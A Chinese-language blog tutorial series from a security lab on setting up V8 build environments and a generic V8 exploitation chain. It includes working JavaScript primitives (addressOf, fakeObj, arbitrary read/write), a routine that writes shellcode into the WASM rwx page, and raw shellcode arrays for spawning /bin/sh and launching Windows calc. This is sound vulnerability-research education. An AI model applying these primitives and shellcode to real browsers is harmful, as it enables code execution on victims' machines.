作者:Hcamael@知道创宇404实验室
环境搭建(一)
最近因为某些原因开始学V8的漏洞利用,所以打算写一个系列的文章来记录一下我的学习过程。
概述
在开始研究V8之前肯定得有相应版本的环境,搭建v8环境的教程网上挺多的。在国内搭建环境,因为众所周知的原因,我们会遇到第一个瓶颈,网络瓶颈。不过也挺好解决的,把环境搭在vps上,网速是最快的。不过随后就会遇到第二个瓶颈,性能瓶颈,自用的vps一般性能都是1c1g左右,编译一次将近1h吧。
我是打算学V8的漏洞利用,不用的漏洞版本基本都会有区别,总不可能研究一个就花1h左右的时间在编译上吧。所以我就考虑是否有现成的docker环境,这样就不需要花时间在编译上了,不过并没有找到合适的docker,只找到一个叫docker-v8的项目,不过只有很少的几个版本,这个Dockerfile和Makefile写的也不对,只能编译最新版的,没法编译任意一个版本。所以我对这个项目进行了一些改编,打算在我的mbp上来编译,自己构建相关的docker。但是没想到i9的CPU也不太行,挺垃圾的,一热就降频,10s左右就可以煮鸡蛋了。编译一次差不多半小时吧,再加上网络因素,完整跑一趟流程也差不多1h。
随后想起前段时间给女朋友配了个AMD 5950x
的台式机,随后又研究了一波WOL,但是发现在断电一段时间后,WOL会失效,最后使用小米智能插座,台式机设置通电自动开机,来让我远程访问。
这个台式机是买来给女朋友打游戏,所以装的是windows,也没装虚拟机。不过装了WSL,直接在WSL上编译,路由器是openwrt,让台式机走全局代理,这样又解决了网络瓶颈,最后一整套流程下了,只需要5分钟左右就能生成任意版本的v8环境。然后把d8拖到本地,就能构建好相应版本的docker了。
环境搭建
下面就来详细说明我在WSL编译v8环境的过程:
- 首先装好相关依赖:
sudo apt install bison cdbs curl flex g++ git python vim pkg-config
- 获取depot_tools:
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
- 设置depot_tools的环境变量:
echo "export PATH=$(pwd)/depot_tools:${PATH}" >> ~/.zshrc
- 运行
fetch v8
, 这个命令会把v8克隆下来,v8挺大的,所以这个命令的速度视网络情况而定 - 安装v8相关的依赖,字体依赖就算用代理也会遇到一些网络问题,但是我目前没有研究字体类的漏洞,我就没有去解决这个问题,所以直接不装字体的依赖:
./v8/build/install-build-deps.sh --no-chromeos-fonts
以上算通用步骤,也就是不管什么版本,上面的命令执行一次就好了。
网上的环境搭建的教程里面,之后应该就是执行:
$ cd v8
$ gclient sync
$ gn gen out/x64.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64.release d8
如果编译出来的v8环境需要迁移,建议设置v8_monolithic=true
,这样只需要迁移一个d8
程序就好了。要不然还得迁移其他(snapshot)依赖。
上面是编译最新版环境运行的命令,不过我是需要编译任意版本的,所以我把第二阶段的内容写成了一个build.sh
脚本:
$ cat build.sh
#!/bin/bash
VER=$1
if [ -z $2 ];then
NAME=$VER
else
NAME=$2
fi
cd v8
git reset --hard $VER
gclient sync -D
gn gen out/x64_$NAME.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
ninja -C out/x64_$NAME.release d8
以下是我运行一次该脚本的时间:
$ time ./build.sh "9.6.180.6"
HEAD is now at 67eacd3dce Version 9.6.180.6
Syncing projects: 100% (29/29), done.
Running hooks: 100% (27/27), done.
Done. Made 178 targets from 98 files in 244ms
ninja: Entering directory `out/x64_9.6.180.6.release'
[1839/1839] LINK ./d8
./build.sh "9.6.180.6" 4581.36s user 691.20s system 1586% cpu 5:32.41 total
然后是我修改过后的Makefile
:
$ cat Makefile
TAG:=$(tag)
IMAGE:=hcamael/v8
default: help
help:
@echo 'V8/D8 ${TAG} Docker image build file'
@echo
@echo 'Usage:'
@echo ' make clean Delete dangling images and d8 images'
@echo ' make build Build the d8 image using local Dockerfile'
@echo ' make push Push an existing image to Docker Hub'
@echo ' make deploy Clean, build and push image to Docker Hub'
@echo ' make github Tag the project in GitHub'
@echo
build:
docker build --build-arg V8_VERSION=${TAG} -t ${IMAGE}:${TAG} .
clean:
# Remove containers with exited status:
docker rm `docker ps -a -f status=exited -q` || true
docker rmi ${IMAGE}:latest || true
docker rmi ${IMAGE}:${TAG} || true
# Delete dangling images
docker rmi `docker images -f dangling=true -q` || true
push:
docker push docker.io/${IMAGE}:${TAG}
docker tag ${IMAGE}:${TAG} docker.io/${IMAGE}:latest
docker push docker.io/${IMAGE}:latest
deploy: clean build push
github:
git push
git tag -a ${TAG} -m 'Version ${TAG}'
git push origin --tags
.PHONY: help build clean push deploy github
然后是修改过后的Dockerfile
:
$ cat Dockerfile
FROM debian:stable-slim
RUN sed -i 's/deb.debian.org/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && apt-get upgrade -yqq && \
DEBIAN_FRONTEND=noninteractive apt-get install curl rlwrap vim -yqq gdb && \
apt-get clean
ARG V8_VERSION=latest
ENV V8_VERSION=$V8_VERSION
LABEL v8.version=$V8_VERSION \
maintainer="test@admin.com"
WORKDIR /v8
COPY /v8_$V8_VERSION/d8 ./
COPY vimrc /root/.vimrc
COPY entrypoint.sh /
RUN chmod +x /entrypoint.sh && \
mkdir /examples && \
ln -s /v8/d8 /usr/local/bin/d8
ENTRYPOINT ["/entrypoint.sh"]
参考
V8 通用利用链(二)
经过一段时间的研究,先进行一波总结,不过因为刚开始研究没多久,也许有一些局限性,以后如果发现了,再进行修正。
概述
我认为,在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目,大部分情况下,目标都是执行system(/bin/sh)
或者execve(/bin/sh,0,0)
。
在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode
。当有了这个目标后,下一步就是思考,怎么写shellcode
呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode
的内存段。
接下来将会根据该逻辑来反向总结一波v8的利用过程。
调试V8程序
在总结v8的利用之前,先简单说说v8的调试。
1.把该文件v8/tools/gdbinit
,加入到~/.gdbinit
中:
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8
2.使用%DebugPrint(x);
来输出变量x的相关信息
3.使用%SystemBreak();
来抛出int3
,以便让gdb进行调试
$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();
如果直接使用d8运行,会报错:
$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'
因为正常情况下,js是没有%
这种语法的,需要加入--allow-natives-syntax
参数:
$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
- map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3764081cc139 <JSArray[0]>
- elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x37640800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3764081d30d1 <FixedArray[1]> {
0: 1
}
0x376408203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3764080023b5 <undefined>
- prototype_validity cell: 0x376408142405 <Cell value= 1>
- instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x3764081cc139 <JSArray[0]>
- constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
- dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1] 35375 trace trap ./d8 --allow-natives-syntax test.js
接下来试试使用gdb来调试该程序:
$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
- map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3a0c081cc139 <JSArray[0]>
- elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x3a0c0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3a0c081d30d1 <FixedArray[1]> {
0: 1
}
0x3a0c08203a41: [Map]
- type: JS_ARRAY_TYPE
- instance size: 16
- inobject properties: 0
- elements kind: PACKED_SMI_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x3a0c080023b5 <undefined>
- prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
- instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
- transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>
- prototype: 0x3a0c081cc139 <JSArray[0]>
- constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
- dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
然后就能使用gdb命令来查看其内存布局了,另外在之前v8提供的gdbinit中,加入了一些辅助调试的命令,比如job
,作用跟%DebufPrint
差不多:
pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
- map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x3a0c081cc139 <JSArray[0]>
- elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
- length: 1
- properties: 0x3a0c0800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x3a0c081d30d1 <FixedArray[1]> {
0: 1
}
不过使用job命令的时候,其地址要是其真实地址+1,也就是说,在上面的样例中,其真实地址为:0x3a0c08049684
:
pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694: 0x0000000000000000 0x0000000000000000
如果使用job命令,后面跟着的是其真实地址,会被解析成SMI(small integer)类型:
pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)
0x4024b42 * 2 == 0x8049684
(SMI只有32bit)
对d8进行简单的调试只要知道这么多就够了。
WASM
现如今的浏览器基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。
我们来调试看看:
测试代码:
$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
然后使用gdb进行调试,在第一个断点的时候,使用vmmap
来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。
在第二个断点的时候,我们再运行一次vmmap
来查看内存段:
pwndbg> vmmap
0x1aca69e92000 0x1aca69e93000 rwxp 1000 0 [anon_1aca69e92]
因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到改地址呢?
首先我们来看看变量f
的信息:
DebugPrint: 0x24c6081d3645: [Function] in OldSpace
- map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
- elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
- name: 0x24c6080051c5 <String[1]: #0>
- builtin: GenericJSToWasmWrapper
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x24c6081c3649 <NativeContext[256]>
- code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
- Wasm function index: 0
- properties: 0x24c60800222d <FixedArray[0]>
- All own properties (excluding elements): {
0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
- type: JS_FUNCTION_TYPE
- instance size: 28
- inobject properties: 0
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- callable
- back pointer: 0x24c6080023b5 <undefined>
- prototype_validity cell: 0x24c608142405 <Cell value= 1>
- instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
- prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
- constructor: 0x24c608002235 <null>
- dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
可以发现这是一个函数对象,我们来查看一下f
的shared_info
结构的信息:
- shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
- map: 0x24c6080025f9 <Map[36]>
- name: 0x24c6080051c5 <String[1]: #0>
- kind: NormalFunction
- syntax kind: AnonymousExpression
- function_map_index: 185
- formal_parameter_count: 0
- expected_nof_properties:
- language_mode: sloppy
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
- code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- script: 0x24c6081d3491 <Script>
- function token position: 88
- start position: 88
- end position: 92
- no debug info
- scope info: 0x24c608002739 <ScopeInfo>
- length: 0
- feedback_metadata: <none>
接下里再查看其data
结构:
- data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
- map: 0x24c608002e7d <Map[44]>
- target: 0x1aca69e92000
- ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
- wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
- function_index: 0
- signature: 0x24c608049bd1 <Foreign>
- wrapper_budget: 1000
在查看instance
结构:
- instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
- map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
- elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
- exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
- native_context: 0x24c6081c3649 <NativeContext[256]>
- memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
- table 0: 0x24c608049b69 <Table map = 0x24c608207551>
- imported_function_refs: 0x24c60800222d <FixedArray[0]>
- indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
- managed_native_allocations: 0x24c608049b21 <Foreign>
- memory_start: 0x7f6e20000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x55a2eca392f0
- globals_start: (nil)
- imported_mutable_globals: 0x55a2eca39310
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x24c60800222d <FixedArray[0]>
- All own properties (excluding elements): {}
仔细查看能发现,instance
结构就是js代码中的wasmInstance
变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);
,所以也会输出该结构的信息,可以去对照看看。
我们再来查看这个结构的内存布局:
pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508: 0x0800222d08207439 0x200000000800222d
0x24c6081d3518: 0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528: 0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548: 0x0000000000000000 0x0000000000000000
0x24c6081d3558: 0x0000000000000000 0x000055a2eca39310
0x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000
仔细看,能发现,rwx段的起始地址储存在instance+0x68
的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。
根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode
写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode
了。
任意读写
最近我研究的几个V8的漏洞,任意读写都是使用的一个套路,目前我是觉得这个套路很通用的,感觉V8相关的利用都是用这类套路。(不过我学的时间短,这块的眼界也相对短浅,以后可能会遇到其他情况)
首先来看看JavaScript的两种类型的变量的结构:
$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();
首先是变量a
的结构:
DebugPrint: 0xe07080496d1: [JSArray]
- map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
0: 2.1
}
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
- map: 0x0e0708002a95 <Map>
- length: 1
0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0: 0x0800222d08207961 0x000000020800222d
0xe07080496f0: 0x0001000108005c31 0x080021f900000000
0xe0708049700: 0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0: 0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0: 0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0: 0x0800222d08207961 0x000000020800222d
0xe07080496f0: 0x0001000108005c31 0x080021f900000000
变量a
的结构如下:
| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|
因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的,所以只需要保存低32bit的地址就行了。
elements
结构保存了数组的值,结构为:
| 32 bit map addr | 32 bit length | value ......
变量a
结构中的length
,表示的是当前数组的已经使用的长度,elements
表示该数组已经申请的长度,申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍,为啥这么设计,暂时还没了解。
仔细研究上面的内存布局,能发现,elements
结构之后是紧跟着变量a
的结构。很多洞都是这个时候让变量a
溢出,然后这样就可以读写其结构的map和length的值。
接下来在一起看看变量b
和c
:
变量c:
DebugPrint: 0xe0708049719: [JSArray]
- map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081cc139 <JSArray[0]>
- elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
- length: 1
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x0e070804970d <FixedArray[1]> {
0: 0x0e07080496e1 <Object map = 0xe0708207961>
}
变量b:
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
- map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
- elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x0e070800222d <FixedArray[0]>
- All own properties (excluding elements): {
0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
- map: 0x0e0708002205 <Map>
- length: 1
0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718: 0x0800222d08203b31 0x000000020804970d
0xe0708049728: 0x0000000000000000 0x0000000000000000
0xe0708049738: 0x0000000000000000 0x0000000000000000
0xe0708049748: 0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c: 0x0000000208002205 0x08203b31080496e1
0xe070804971c: 0x0804970d0800222d 0x0000000000000002
0xe070804972c: 0x0000000000000000 0x0000000000000000
0xe070804973c: 0x0000000000000000 0x0000000000000000
变量c
的结构和变量a
的基本上是一样的,只是变量a
储存的是double
类型的变量,所以value都是64bit的,而变量c
储存的是对象类型的变量,储存的是地址,也对地址进行了压缩,所以长度是32bit。
既然内存结构这么一致,那么使用a[0]
或者c[0]
取值的时候,js是怎么判断结构类型的呢?通过看代码,或者gdb实际测试都能发现,是根据变量结构的map值来确定的。
也就是说如果我把变量c
的map地址改成变量a
的,那么当我执行c[0]
的时候,获取到的就是变量b
的地址了。这样,就能达到任意变量地址读的效果,步骤如下:
- 把
c[0]
的值设置为你想获取地址的变量,比如c[0]=a;
。 - 然后通过漏洞,把
c
的map地址修改成a
的map地址。 - 读取
c[0]
的值,该值就为变量a
的低32bit地址。
在本文说的套路中,上述步骤被封装为addressOf
函数。
该逻辑还达不到任意地址读的效果,所以还需要继续研究。
既然我们可以把对象数组变为浮点型数组,那么是不是也可以把浮点型数组变为对象数组,步骤如下:
- 把
a[0]
的值设置为自己构造的某个对象的地址还需要加1。 - 然后通过漏洞,把
a
的map地址修改成c
的map地址。 - 获取
a[0]
的值
这个过程可以封装为fakeObj
函数。
这个时候我们构造这样一个变量:
var fake_array = [
double_array_map,
itof(0x4141414141414141n)
];
该变量的结构大致如下:
| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|
根据分析,理论上来说布局应该如上所示,但是会根据漏洞不通,导致堆布局不通,所以导致elements
地址的不同,具体情况,可以写exp的时候根据通过调试来判断。
所以我可以使用addressOf
获取fake_array
地址:var fake_array_addr = addressOf(fake_array);
。
计算得到fake_object_addr = fake_array_addr - 0x10n;
,然后使用fakeObj
函数,得到你构造的对象:var fake_object = fakeObj(fake_object_addr);
这个时候不要去查看fake_object
的内容,因为其length
字段和elements
字段都被设置为了无效值(0x41414141)。
这个时候我们就能通过fake_array
数组来达到任意读的目的了,下面就是一个通用的任意读函数read64
:
function read64(addr)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
return fake_object[0];
}
同理,也能构造出任意写write64
:
function write64(addr, data)
{
fake_array[1] = itof(addr - 0x8n + 0x1n);
fake_object[0] = itof(data);
}
我们可以这么理解上述过程,fakeObj
对象相当于把把浮点数数组变量a
改成了二维浮点数数组:a = [[1.1]]
,而fake_array[1]
值的内存区域属于fake_object
对象的elements
和length
字段的位置,所以我们可以通过修改fake_array[1]
的值,来控制fake_object
,以达到任意读写的效果。
不过上述的任意写却没办法把我们的shellcode
写到rwx区域,因为写入的地址=实际地址-0x8+0x1
,前面还需要有8字节的map地址和length,而rwx区域根据我们调试的时候看到的内存布局,需要从该内存段的起始地址开始写,所以该地址-0x8+0x1
是一个无效地址。
所以需要另辟蹊径,来看看下面的代码:
$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);
%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();
首先看看data_buf
变量的结构:
DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
- map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
- elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x555c12bb9050
- byte_length: 16
- detachable
- properties: 0x2ead0800222d <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
再来看看backing_store
字段的内存:
pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050: 0x4000000000000000 0x0000000000000000
0x555c12bb9060: 0x0000000000000000 0x0000000000000041
0x555c12bb9070: 0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8
double
型的2.0以十六进制表示就是0x4000000000000000
,所以可以看出data_buf
变量的值存储在一段连续的内存区域中,通过backing_store
指针指向该内存区域。
所以我们可以利用该类型,通过修改backing_store
字段的值为rwx内存地址,来达到写shellcode
的目的。
看看backing_store
字段在data_buf
变量结构中的位置:
pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c: 0x0800222d08203271 0x000000100800222d
0x2ead0804971c: 0x0000000000000000 0x12bb905000000000
0x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c: 0x0000000000000000 0x0000000000000000
0x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c: 0x0000000000000000 0x0000000000000010
0x2ead0804976c: 0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c: 0x0000000000000000 0x0000000000000000
发现backing_store
的地址属于data_buf + 0x1C
,这个偏移在不同版本的v8中也是有一些区别的,所以写exp的时候,可以根据上面的步骤来进行计算。
根据上述的思路,我们可以写出copy_shellcode_to_rwx
函数:
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
var data_buf = new ArrayBuffer(shellcode.length * 8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
var lov = d2u(read64(buf_backing_store_addr_lo))[0];
var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
var hiv = d2u(read64(buf_backing_store_addr_up))[1];
var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
var buf_backing_store_addr = ftoi(u2d(lov, hiv));
console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));
write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
for (let i = 0; i < shellcode.length; ++i)
data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}
利用
在linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)
的shellcode,就可以这样:
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:
var shellcode = [
0xc0e8f0e48348fcn,
0x5152504151410000n,
0x528b4865d2314856n,
0x528b4818528b4860n,
0xb70f4850728b4820n,
0xc03148c9314d4a4an,
0x41202c027c613cacn,
0xede2c101410dc9c1n,
0x8b20528b48514152n,
0x88808bd001483c42n,
0x6774c08548000000n,
0x4418488b50d00148n,
0x56e3d0014920408bn,
0x4888348b41c9ff48n,
0xc03148c9314dd601n,
0xc101410dc9c141acn,
0x244c034cf175e038n,
0x4458d875d1394508n,
0x4166d0014924408bn,
0x491c408b44480c8bn,
0x14888048b41d001n,
0x5a595e58415841d0n,
0x83485a4159415841n,
0x4158e0ff524120ecn,
0xff57e9128b485a59n,
0x1ba485dffffn,
0x8d8d480000000000n,
0x8b31ba4100000101n,
0xa2b5f0bbd5ff876fn,
0xff9dbd95a6ba4156n,
0x7c063c28c48348d5n,
0x47bb0575e0fb800an,
0x894159006a6f7213n,
0x2e636c6163d5ffdan,
0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();
其他
